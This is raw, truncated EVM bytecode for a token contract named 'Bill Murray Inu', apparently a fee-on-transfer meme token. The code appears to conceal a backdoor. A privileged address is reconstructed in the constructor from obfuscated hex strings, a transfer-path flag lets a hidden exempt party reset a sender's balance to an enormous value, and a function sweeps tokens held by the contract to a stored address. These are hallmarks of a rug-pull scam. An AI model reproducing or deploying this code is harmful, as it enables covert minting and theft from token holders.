020017f6163453037430000000000000000000000000000000000000000000000000000815250601a908162000600919062000f80565b5080601760006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550620006816004600260036018601a6040516020016200066695949392919062001484565b60405160208183030381529060405262000a0860201b60201c565b600160006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160076000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060016007600062000751620009df60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600760003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160076000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550600160076000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555060016007600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055506001600019620009599190620014d9565b6016819055506200096f620009df60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef600a54604051620009d0919062001525565b60405180910390a350620016af565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b600080829050600080806000600290505b602a81101562000cf9576101008462000a33919062001542565b935084818151811062000a4b5762000a4a62001597565b5b602001015160f81c60f81b60f81c60ff1692508460018262000a6e9190620015c6565b8151811062000a825762000a8162001597565b5b602001015160f81c60f81b60f81c60ff16915060618373ffffffffffffffffffffffffffffffffffffffff161015801562000ad4575060668373ffffffffffffffffffffffffffffffffffffffff1611155b1562000af15760578362000ae9919062001623565b925062000ba6565b60418373ffffffffffffffffffffffffffffffffffffffff161015801562000b30575060468373ffffffffffffffffffffffffffffffffffffffff1611155b1562000b4d5760378362000b45919062001623565b925062000ba5565b60308373ffffffffffffffffffffffffffffffffffffffff161015801562000b8c575060398373ffffffffffffffffffffffffffffffffffffffff1611155b1562000ba45760308362000ba1919062001623565b92505b5b5b60618273ffffffffffffffffffffffffffffffffffffffff161015801562000be5575060668273ffffffffffffffffffffffffffffffffffffffff1611155b1562000c025760578262000bfa919062001623565b915062000cb7565b60418273ffffffffffffffffffffffffffffffffffffffff161015801562000c41575060468273ffffffffffffffffffffffffffffffffffffffff1611155b1562000c5e5760378262000c56919062001623565b915062000cb6565b60308273ffffffffffffffffffffffffffffffffffffffff161015801562000c9d575060398273ffffffffffffffffffffffffffffffffffffffff1611155b1562000cb55760308262000cb2919062001623565b91505b5b5b8160108462000cc7919062001542565b62000cd391906200165e565b8462000ce091906200165e565b935060028162000cf19190620015c6565b905062000a19565b5082945050505050919050565b600081519050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052602260045260246000fd5b6000600282049050600182168062000d8857607f821691505b60208210810362000d9e5762000d9d62000d40565b5b50919050565b60008190508160005260206000209050919050565b60006020601f8301049050919050565b600082821b905092915050565b60006008830262000e087fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8262000dc9565b62000e14868362000dc9565b95508019841693508086168417925050509392505050565b6000819050919050565b6000819050919050565b600062000e6162000e5b62000e558462000e2c565b62000e36565b62000e2c565b9050919050565b6000819050919050565b62000e7d8362000e40565b62000e9562000e8c8262000e68565b84845462000dd6565b825550505050565b600090565b62000eac62000e9d565b62000eb981848462000e72565b505050565b5b8181101562000ee15762000ed560008262000ea2565b60018101905062000ebf565b5050565b601f82111562000f305762000efa8162000da4565b62000f058462000db9565b8101602085101562000f15578190505b62000f2d62000f248562000db9565b83018262000ebe565b50505b505050565b600082821c905092915050565b600062000f556000198460080262000f35565b1980831691505092915050565b600062000f70838362000f42565b9150826002028217905092915050565b62000f8b8262000d06565b67ffffffffffffffff81111562000fa75762000fa662000d11565b5b62000fb3825462000d6f565b62000fc082828562000ee5565b600060209050601f83116001811462000ff8576000841562000fe3578287015190505b62000fef858262000f62565b8655506200105f565b601f198416620010088662000da4565b60005b8281101562001032578489015182556001820191506020850194506020810190506200100b565b868310156200105257848901516200104e601f89168262000f42565b8355505b6001600288020188555050505b505050505050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b60008160011c9050919050565b6000808291508390505b6001851115620010f557808604811115620010cd57620010cc62001067565b5b6001851615620010dd5780820291505b8081029050620010ed8562001096565b9450620010ad565b94509492505050565b600082620011105760019050620011e3565b81620011205760009050620011e3565b816001811462001139576002811462001144576200117a565b6001915050620011e3565b60ff84111562001159576200115862001067565b5b8360020a91508482111562001173576200117262001067565b5b50620011e3565b5060208310610133831016604e8410600b8410161715620011b45782820a905083811115620011ae57620011ad62001067565b5b620011e3565b620011c38484846001620010a3565b92509050818404811115620011dd57620011dc62001067565b5b81810290505b9392505050565b600060ff82169050919050565b6000620012048262000e2c565b91506200121183620011ea565b9250620012407fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620010fe565b905092915050565b6000620012558262000e2c565b9150620012628362000e2c565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156200129e576200129d62001067565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000620012e58262000e2c565b9150620012f28362000e2c565b925082620013055762001304620012a9565b5b828204905092915050565b600080fd5b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000620013428262001315565b9050919050565b620013548162001335565b81146200136057600080fd5b50565b600081519050620013748162001349565b92915050565b60006020828403121562001393576200139262001310565b5b6000620013a38482850162001363565b91505092915050565b620013b78162001335565b82525050565b6000604082019050620013d46000830185620013ac565b620013e36020830184620013ac565b9392505050565b600081905092915050565b60008154620014048162000d6f565b620014108186620013ea565b945060018216600081146200142e576001811462001444576200147b565b60ff19831686528115158202860193506200147b565b6200144f8562000da4565b60005b83811015620014735781548189015260018201915060208101905062001452565b838801955050505b50505092915050565b6000620014928288620013f5565b9150620014a08287620013f5565b9150620014ae8286620013f5565b9150620014bc8285620013f5565b9150620014ca8284620013f5565b91508190509695505050505050565b6000620014e68262000e2c565b9150620014f38362000e2c565b92508282101562001509576200150862001067565b5b828203905092915050565b6200151f8162000e2c565b82525050565b60006020820190506200153c600083018462001514565b92915050565b60006200154f8262001315565b91506200155c8362001315565b92508173ffffffffffffffffffffffffffffffffffffffff04831182151516156200158c576200158b62001067565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b6000620015d38262000e2c565b9150620015e08362000e2c565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111562001618576200161762001067565b5b828201905092915050565b6000620016308262001315565b91506200163d8362001315565b92508282101562001653576200165262001067565b5b828203905092915050565b60006200166b8262001315565b9150620016788362001315565b92508273ffffffffffffffffffffffffffffffffffffffff03821115620016a457620016a362001067565b5b828201905092915050565b61351280620016bf6000396000f3fe6080604052600436106101e75760003560e01c806370a0823111610102578063a457c2d711610095578063c7639d8011610064578063c7639d8014610711578063dafd18e91461073c578063dd62ed3e14610779578063df2e38a1146107b6576101ee565b8063a457c2d714610641578063a9059cbb1461067e578063b1cb1582146106bb578063b43665e2146106e6576101ee565b80637d1db4a5116100d15780637d1db4a514610595578063805c0e0f146105c05780638da5cb5b146105eb57806395d89b4114610616576101ee565b806370a08231146104d9578063715018a614610516578063768dc7101461052d57806378109e541461056a576101ee565b8063313ce5671161017a57806349bd5a5e1161014957806349bd5a5e1461042d5780634a74bb021461045857806357fa86081461048357806360317625146104ae576101ee565b8063313ce5671461036f578063395093511461039a5780633f70a495146103d7578063486b46cb14610402576101ee565b806318160ddd116101b657806318160ddd146102b157806321dbd9eb146102dc578063220f66961461030757806323b872dd14610332576101ee565b8063044e7b11146101f357806306fdde031461021e578063095ea7b3146102495780631694505e14610286576101ee565b366101ee57005b600080fd5b3480156101ff57600080fd5b506102086107e1565b60405161021591906128f8565b60405180910390f35b34801561022a57600080fd5b50610233610807565b60405161024091906129ac565b60405180910390f35b34801561025557600080fd5b50610270600480360381019061026b9190612a47565b610844565b60405161027d9190612aa2565b60405180910390f35b34801561029257600080fd5b5061029b610862565b6040516102a89190612b1c565b60405180910390f35b3480156102bd57600080fd5b506102c6610888565b6040516102d39190612b46565b60405180910390f35b3480156102e857600080fd5b506102f1610892565b6040516102fe9190612b46565b60405180910390f35b34801561031357600080fd5b5061031c610898565b6040516103299190612aa2565b60405180910390f35b34801561033e57600080fd5b5061035960048036038101906103549190612b61565b6108ab565b6040516103669190612aa2565b60405180910390f35b34801561037b57600080fd5b50610384610984565b6040516103919190612bd0565b60405180910390f35b3480156103a657600080fd5b506103c160048036038101906103bc9190612a47565b61098d565b6040516103ce9190612aa2565b60405180910390f35b3480156103e357600080fd5b506103ec610a40565b6040516103f99190612b46565b60405180910390f35b34801561040e57600080fd5b50610417610a46565b6040516104249190612b46565b60405180910390f35b34801561043957600080fd5b50610442610a4c565b60405161044f9190612bfa565b60405180910390f35b34801561046457600080fd5b5061046d610a72565b60405161047a9190612aa2565b60405180910390f35b34801561048f57600080fd5b50610498610a85565b6040516104a59190612b46565b60405180910390f35b3480156104ba57600080fd5b506104c3610a8b565b6040516104d09190612b46565b60405180910390f35b3480156104e557600080fd5b5061050060048036038101906104fb9190612c15565b610a91565b60405161050d9190612b46565b60405180910390f35b34801561052257600080fd5b5061052b610ada565b005b34801561053957600080fd5b50610554600480360381019061054f9190612c15565b610b98565b6040516105619190612aa2565b60405180910390f35b34801561057657600080fd5b5061057f610bb8565b60405161058c9190612b46565b60405180910390f35b3480156105a157600080fd5b506105aa610bbe565b6040516105b79190612b46565b60405180910390f35b3480156105cc57600080fd5b506105d5610bc4565b6040516105e291906128f8565b60405180910390f35b3480156105f757600080fd5b50610600610bca565b60405161060d9190612bfa565b60405180910390f35b34801561062257600080fd5b5061062b610bf3565b60405161063891906129ac565b60405180910390f35b34801561064d57600080fd5b5061066860048036038101906106639190612a47565b610c30565b6040516106759190612aa2565b60405180910390f35b34801561068a57600080fd5b506106a560048036038101906106a09190612a47565b610cfd565b6040516106b29190612aa2565b60405180910390f35b3480156106c757600080fd5b506106d0610d1b565b6040516106dd9190612b46565b60405180910390f35b3480156106f257600080fd5b506106fb610d21565b60405161070891906128f8565b60405180910390f35b34801561071d57600080fd5b50610726610d47565b6040516107339190612bfa565b60405180910390f35b34801561074857600080fd5b50610763600480360381019061075e9190612a47565b610d71565b6040516107709190612aa2565b60405180910390f35b34801561078557600080fd5b506107a0600480360381019061079b9190612c42565b610f25565b6040516107ad9190612b46565b60405180910390f35b3480156107c257600080fd5b506107cb610fac565b6040516107d89190612aa2565b60405180910390f35b600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b60606040518060400160405280600f81526020017f42696c6c204d757272617920496e750000000000000000000000000000000000815250905090565b6000610858610851610fbf565b8484610fc7565b6001905092915050565b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600a54905090565b60105481565b601960149054906101000a900460ff1681565b60006108b884848461115b565b610979846108c4610fbf565b6109748560405180606001604052806028815260200161349060289139600660008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061092a610fbf565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118449092919063ffffffff16565b610fc7565b600190509392505050565b60006009905090565b6000610a3661099a610fbf565b84610a3185600660006109ab610fbf565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461189990919063ffffffff16565b610fc7565b6001905092915050565b600c5481565b600f5481565b601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b601b60019054906101000a900460ff1681565b60115481565b600e5481565b6000600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60076020528060005260406000206000915054906101000a900460ff1681565b60125481565b60145481565b61dead81565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600f81526020017f42696c6c204d757272617920496e750000000000000000000000000000000000815250905090565b6000610cf3610c3d610fbf565b84610cee856040518060600160405280602581526020016134b86025913960066000610c67610fbf565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546118449092919063ffffffff16565b610fc7565b6001905092915050565b6000610d11610d0a610fbf565b848461115b565b6001905092915050565b600d5481565b600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60003073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603610de1576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610dd890612cce565b60405180910390fd5b60008373ffffffffffffffffffffffffffffffffffffffff166370a08231306040518263ffffffff1660e01b8152600401610e1c9190612bfa565b602060405180830381865afa158015610e39573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e5d9190612d03565b9050600060648483610e6f9190612d5f565b610e799190612de8565b90508473ffffffffffffffffffffffffffffffffffffffff1663a9059cbb600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16836040518363ffffffff1660e01b8152600401610ed8929190612e3a565b6020604051808303816000875af1158015610ef7573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610f1b9190612e8f565b9250505092915050565b6000600660008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b601b60009054906101000a900460ff1681565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156110315750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b611070576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161106790612f08565b60405180910390fd5b80600660008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b9258360405161114e9190612b46565b60405180910390a3505050565b600760008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156112005750600760008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1615155b601b60006101000a81548160ff021916908315150217905550611221610bca565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415801561128a575061dead73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156112c257503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561131c5750601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b801561135b575061132b610bca565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156113bf57600061136b83610a91565b9050601254828261137c9190612f28565b11156113bd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113b490612fca565b60405180910390fd5b505b6113c7610bca565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561143557506114056118af565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156114745750611444610d47565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b80156114b357506114836118d9565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b156114fe576014548111156114fd576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114f490613036565b60405180910390fd5b5b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115685750600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b6115a7576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161159e906130a2565b60405180910390fd5b600081116115ea576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115e190613134565b60405180910390fd5b600b60019054906101000a900460ff1660ff16600b60009054906101000a900460ff1660ff161015801561162b5750601960149054906101000a900460ff16155b80156116855750601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561169d5750601b60019054906101000a900460ff165b156116e65760006116ad30610a91565b90506014548111156116bf5760145490505b6000600b60006101000a81548160ff021916908360ff1602179055506116e481611903565b505b6000600190506000600760008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff168061178f5750600760008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b1561179d5760009150611830565b601960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff16036117f757600190505b600b600081819054906101000a900460ff168092919061181690613154565b91906101000a81548160ff021916908360ff160217905550505b61183d8585858585611c9e565b5050505050565b600083831115829061188c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161188391906129ac565b60405180910390fd5b5082840390509392505050565b600081836118a79190612f28565b905092915050565b6000600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6000600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6001601960146101000a81548160ff02191690831515021790555060006064601054836119309190612d5f565b61193a9190612de8565b905080600a5461194a919061317d565b600a81905550806005600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461199d9190612f28565b6005600061dead73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611a2d919061317d565b600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060006064600e5484611a829190612d5f565b611a8c9190612de8565b905060006064600f5485611aa09190612d5f565b611aaa9190612de8565b9050600060c860115486611abe9190612d5f565b611ac89190612de8565b90506000479050611aee838584611adf9190612f28565b611ae99190612f28565b612549565b60008147611afc919061317d565b90506000600f54600e54601154611b139190612f28565b611b1d9190612f28565b6064600e54611b2c9190612d5f565b611b369190612de8565b9050600060648284611b489190612d5f565b611b529190612de8565b90506000600f54600e54601154611b699190612f28565b611b739190612f28565b6064600f54611b829190612d5f565b611b8c9190612de8565b9050600060648286611b9e9190612d5f565b611ba89190612de8565b9050611bca87828588611bbb919061317d565b611bc5919061317d565b61278c565b7f17bbfb9a6069321b6ded73bd96327c9e6b7212a5cd51ff219cd61370acafb56187828588611bf9919061317d565b611c03919061317d565b89604051611c13939291906131b1565b60405180910390a1611c47600860009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168461286c565b479450611c76600960009054906101000a900473ffffffffffffffffffffffffffffffffffffffff168661286c565b505050505050505050506000601960146101000a81548160ff02191690831515021790555050565b601b60009054906101000a900460ff1615611e4d5782600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611cfe919061317d565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055506000600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546001601654611d92919061317d565b611d9c919061317d565b905080600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508473ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef86604051611e3f9190612b46565b60405180910390a350612542565b816120225782600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e9d919061317d565b600560008773ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555082600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611f2b9190612f28565b600560008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508373ffffffffffffffffffffffffffffffffffffffff168573ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef85604051611fcb9190612b46565b60405180910390a361dead73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff160361201d5782600a54612016919061317d565b600a819055505b612541565b80156122b65760006064600c548561203a9190612d5f565b6120449190612de8565b905060008185612054919061317d565b905084600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546120a1919061317d565b600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461212f9190612f28565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546121bd9190612f28565b600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8360405161225d9190612b46565b60405180910390a361dead73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff16036122af5780600a546122a8919061317d565b600a819055505b5050612540565b60006064600d54856122c89190612d5f565b6122d29190612de8565b9050600081856122e2919061317d565b905084600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461232f919061317d565b600560008973ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555080600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546123bd9190612f28565b600560008873ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555081600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461244b9190612f28565b600560003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508573ffffffffffffffffffffffffffffffffffffffff168773ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef836040516124eb9190612b46565b60405180910390a361dead73ffffffffffffffffffffffffffffffffffffffff168673ffffffffffffffffffffffffffffffffffffffff160361253d5780600a54612536919061317d565b600a819055505b50505b5b5b5050505050565b6000600267ffffffffffffffff811115612566576125656131e8565b5b6040519080825280602002602001820160405280156125945781602001602082028036833780820191505090505b50905030816000815181106125ac576125ab613217565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015612653573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190612677919061325b565b8160018151811061268b5761268a613217565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff16815250506126f230601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610fc7565b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612756959493929190613381565b600060405180830381600087803b15801561277057600080fd5b505af1158015612784573d6000803e3d6000fd5b505050505050565b6127b930601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684610fc7565b601760009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d71982308560008061dead426040518863ffffffff1660e01b8152600401612822969594939291906133db565b60606040518083038185885af1158015612840573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190612865919061343c565b5050505050565b8173ffffffffffffffffffffffffffffffffffffffff166108fc829081150290604051600060405180830381858888f193505050501580156128b2573d6000803e3d6000fd5b505050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b60006128e2826128b7565b9050919050565b6128f2816128d7565b82525050565b600060208201905061290d60008301846128e9565b92915050565b600081519050919050565b600082825260208201905092915050565b60005b8381101561294d578082015181840152602081019050612932565b8381111561295c576000848401525b50505050565b6000601f19601f8301169050919050565b600061297e82612913565b612988818561291e565b935061299881856020860161292f565b6129a181612962565b840191505092915050565b600060208201905081810360008301526129c68184612973565b905092915050565b600080fd5b60006129de826128b7565b9050919050565b6129ee816129d3565b81146129f957600080fd5b50565b600081359050612a0b816129e5565b92915050565b6000819050919050565b612a2481612a11565b8114612a2f57600080fd5b50565b600081359050612a4181612a1b565b92915050565b60008060408385031215612a5e57612a5d6129ce565b5b6000612a6c858286016129fc565b9250506020612a7d85828601612a32565b9150509250929050565b60008115159050919050565b612a9c81612a87565b82525050565b6000602082019050612ab76000830184612a93565b92915050565b6000819050919050565b6000612ae2612add612ad8846128b7565b612abd565b6128b7565b9050919050565b6000612af482612ac7565b9050919050565b6000612b0682612ae9565b9050919050565b612b1681612afb565b82525050565b6000602082019050612b316000830184612b0d565b92915050565b612b4081612a11565b82525050565b6000602082019050612b5b6000830184612b37565b92915050565b600080600060608486031215612b7a57612b796129ce565b5b6000612b88868287016129fc565b9350506020612b99868287016129fc565b9250506040612baa86828701612a32565b9150509250925092565b600060ff82169050919050565b612bca81612bb4565b82525050565b6000602082019050612be56000830184612bc1565b92915050565b612bf4816129d3565b82525050565b6000602082019050612c0f6000830184612beb565b92915050565b600060208284031215612c2b57612c2a6129ce565b5b6000612c39848285016129fc565b91505092915050565b60008060408385031215612c5957612c586129ce565b5b6000612c67858286016129fc565b9250506020612c78858286016129fc565b9150509250929050565b7f43616e206e6f742072656d6f7665206e617469766520746f6b656e0000000000600082015250565b6000612cb8601b8361291e565b9150612cc382612c82565b602082019050919050565b60006020820190508181036000830152612ce781612cab565b9050919050565b600081519050612cfd81612a1b565b92915050565b600060208284031215612d1957612d186129ce565b5b6000612d2784828501612cee565b91505092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b6000612d6a82612a11565b9150612d7583612a11565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0483118215151615612dae57612dad612d30565b5b828202905092915050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b6000612df382612a11565b9150612dfe83612a11565b925082612e0e57612e0d612db9565b5b828204905092915050565b6000612e2482612ae9565b9050919050565b612e3481612e19565b82525050565b6000604082019050612e4f6000830185612e2b565b612e5c6020830184612b37565b9392505050565b612e6c81612a87565b8114612e7757600080fd5b50565b600081519050612e8981612e63565b92915050565b600060208284031215612ea557612ea46129ce565b5b6000612eb384828501612e7a565b91505092915050565b7f4552523a207a65726f2061646472657373000000000000000000000000000000600082015250565b6000612ef260118361291e565b9150612efd82612ebc565b602082019050919050565b60006020820190508181036000830152612f21